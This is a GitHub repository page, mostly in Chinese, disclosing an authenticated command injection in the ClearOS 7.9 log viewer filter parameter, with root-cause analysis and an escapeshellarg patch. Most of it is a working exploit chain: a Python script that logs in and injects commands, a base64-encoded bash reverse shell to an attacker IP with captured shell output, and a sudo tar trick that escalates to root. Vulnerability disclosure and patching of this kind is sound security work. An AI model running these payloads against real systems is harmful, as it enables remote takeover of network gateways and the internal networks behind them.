LazyTitan33/CVE-2026-67599_ClearOS_RCE

GitHub: LazyTitan33/CVE-2026-67599_ClearOS_RCE

该项目是 ClearOS 7.9 日志查看器组件中已认证 OS 命令注入漏洞(CVE-2026-67599)的 PoC 利用代码与详细分析。

Stars: 0 | Forks: 0

# 日志查看器过滤参数中的 OS 命令注入 **软件包:** ClearFoundation **测试版本:** ClearOS 7.9.1.342252 **漏洞类型:** OS 命令注入 (CWE-78) **严重程度:** 高 **CVE**: CVE-2026-67599 **CVSS v3.1 向量:** `CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H` (评分:7.2) ## 产品描述 ClearOS 是一款基于 CentOS/RHEL 构建的操作系统,旨在为中小型组织提供网络网关、统一威胁管理 (UTM) 平台以及边缘服务器。它主要作为边缘设备运行,负责管理防火墙规则、VPN 连接、路由和核心网络基础设施。 由于 ClearOS 部署在网络外围,像 Webconfig(端口 81)这样的管理接口通常会暴露给管理网段或直接暴露给外部网络。此接口中的命令执行漏洞允许攻击者攻破网关,在边缘获得持久立足点,并直接横向移动到内部网络网段。 ## 受影响文件 `/usr/clearos/apps/base/libraries/File.php` — 第 297、314 行 ## 根本原因 提交给日志查看器端点的 `filter` 参数在未经过滤的情况下被传递给 `File.php` 中构建的 shell 命令。`$regex` 的值被直接内插到命令字符串中,而不是作为经过正确转义的参数传递,这导致诸如 `$(...)` 或反引号表达式之类的命令替换 payload 能够以 `webconfig` 用户身份执行。 ## PoC 我在一次实际的测试中偶然发现了这个问题。这是一个简单的 payload 生成器。 ``` #!/usr/bin/python3 import requests import sys import warnings warnings.filterwarnings("ignore") import argparse import urllib.parse parser = argparse.ArgumentParser() parser.add_argument("-u", "--username", required=True, help="username") parser.add_argument("-p", "--password", required=True, help="password") parser.add_argument("-t", "--target", required=True, help="target") parser.add_argument("-c", "--command", default="id>/tmp/lazytitanwazhere", help="command to execute (default: id>/tmp/lazytitanwazhere)") args = parser.parse_args() s = requests.Session() s.headers.update({"Content-Type": "application/x-www-form-urlencoded"}) s.verify = False login_data = f"ci_csrf_token=random&os_username={args.username}&os_password={args.password}&code=en_US&submit=Login" s.post(f"https://{args.target}:81/app/base/session/login/", data=login_data, cookies={"ci_csrf_token":"random"}) token = s.cookies.get("ci_csrf_token") command_to_execute = urllib.parse.quote_plus(args.command) command_data = f"ci_csrf_token={token}&file=system&filter=$({command_to_execute})&display=Display" s.post(f"https://{args.target}:81/app/log_viewer/index", data=command_data) ``` 反弹 shell 示例(攻击者位于 `.1`,目标位于 `.129`): ``` python .\testing.py -u root -p password -t 192.168.137.129 -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xLzEzMzcgMD4mMQ==|base64 -d|bash" ``` 已确认的输出: ``` Ncat: Connection from 192.168.137.129:52984. bash: no job control in this shell bash-4.2$ id uid=995(webconfig) gid=994(webconfig) groups=994(webconfig) ``` 通过默认且非常宽松的 sudoers 规则,可以轻松提权至 root: ``` bash-4.2$ id uid=995(webconfig) gid=994(webconfig) groups=994(webconfig) bash-4.2$ sudo -l Matching Defaults entries for webconfig on server: !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, !syslog, env_keep+=http_proxy, env_keep+=https_proxy User webconfig may run the following commands on server: (root) NOPASSWD: /usr/bin/killall, /usr/sbin/postmap, /usr/sbin/postconf, /usr/sbin/run-app-upgrades, /usr/sbin/configuration-restore, /bin/tar, /usr/sbin/mkdosfs, /usr/bin/cat, /usr/sbin/mkfs.vfat, /usr/sbin/mkfs.xfs, /usr/bin/mount, /usr/sbin/pvs, /usr/sbin/vgdisplay, /usr/sbin/lvdisplay, /usr/sbin/pvremove, /usr/sbin/vgremove, /usr/sbin/lvremove, /usr/bin/umount, /usr/bin/df, /usr/sbin/lvextend, /usr/sbin/lvreduce, /usr/sbin/blkid, /usr/bin/mkdir, /usr/sbin/mkfs.ext3, /usr/sbin/mkfs.ext4, /usr/sbin/lvcreate, /usr/sbin/vgcreate, /usr/sbin/pvcreate, /usr/sbin/storagize-mappings, /usr/sbin/app-storage-create, /bin/findmnt, /sbin/sfdisk, /sbin/parted, /sbin/mkfs.ext3, /sbin/mkfs.ext4, /usr/sbin/ntpdate, /sbin/hwclock, /usr/bin/openssl, /usr/sbin/dmidecode, /usr/sbin/initialize-accounts, /usr/sbin/nscd, /usr/clearos/sandbox/usr/sbin/httpd, /usr/sbin/yum-install, /usr/bin/yum-config-manager, /usr/bin/yum, /usr/sbin/userdel, /usr/sbin/app-manager, /usr/sbin/app-rename, /usr/sbin/app-realpath, /usr/sbin/app-passwd, /usr/bin/systemctl, /usr/bin/passwd, /usr/bin/du, /usr/bin/chfn, /usr/bin/tail, /usr/bin/find, /usr/bin/file, /usr/bin/api, /sbin/service, /sbin/shutdown, /bin/touch, /bin/rmdir, /bin/rm, /bin/rpm, /bin/mv, /bin/mkdir, /bin/ls, /bin/kill, /bin/grep, /bin/df, /bin/cp, /bin/chown, /bin/chmod, /bin/cat, /usr/sbin/wc-yum, /usr/bin/eventsctl, /usr/bin/mkhost.sh, /usr/sbin/brctl, /sbin/arping, /sbin/iwconfig, /sbin/ip, /sbin/ifup, /sbin/ifdown, /sbin/ifconfig, /sbin/ethtool, /bin/hostname ``` 在下面的示例中,使用 `tar` 二进制文件提权至 root: ``` bash-4.2$ sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash tar: Removing leading `/' from member names [root@localhost ~]# id uid=0(root) gid=0(root) groups=0(root) ``` ## 影响 拥有 Reports 访问权限的已通过身份验证的 Web 接口用户,可以导致以 `webconfig` 用户身份执行完整的 OS 级别命令。在默认的 ClearOS 7.9 安装中,`webconfig` 被授予了广泛的 `NOPASSWD` sudo 权限,允许在无需额外凭据的情况下立即提权至 root。攻击者可以获得对底层主机的持久 root 访问权限,包括由该系统管理的所有数据、服务和网络配置。 ## 建议修复方案 ClearOS 已处于[生命周期终止](https://en.wikipedia.org/wiki/ClearOS) (End-of-Life)。从 [clearos.com](https://clearos.com) 下载的最新且仍可获取的发行版(版本 ClearOS-7.9.1.342252)追溯到 2021 年 10 月 13 日,并且不接受任何上游维护或安全更新。 正因为如此,下方的代码修复仅仅是一个临时的创可贴。在网络外围运行不受维护的 OS 无异于玩火自焚。强烈建议的前进方向是完全放弃 ClearOS,迁移到受支持的边缘设备或 UTM 平台。 ### 临时变通方法(PHP 补丁) 如果您在计划迁移的同时必须保持此主机运行,请在 `/usr/clearos/apps/base/libraries/File.php` 的第 297 和 314 行将 $regex 用 escapeshellarg() 包裹起来,将原本的代码: ``` '"' . $regex . '" ' . escapeshellarg($this->filename) . " > " . $tempfile, ``` 修改为: ``` '-e ' . escapeshellarg($regex) . ' ' . escapeshellarg($this->filename) . " >" . $tempfile, ``` 然后重启 webconfig 服务: ``` sudo systemctl restart webconfig ```
标签:CISA项目, Python, 命令注入, 应用安全, 无后门, 红队武器, 逆向工具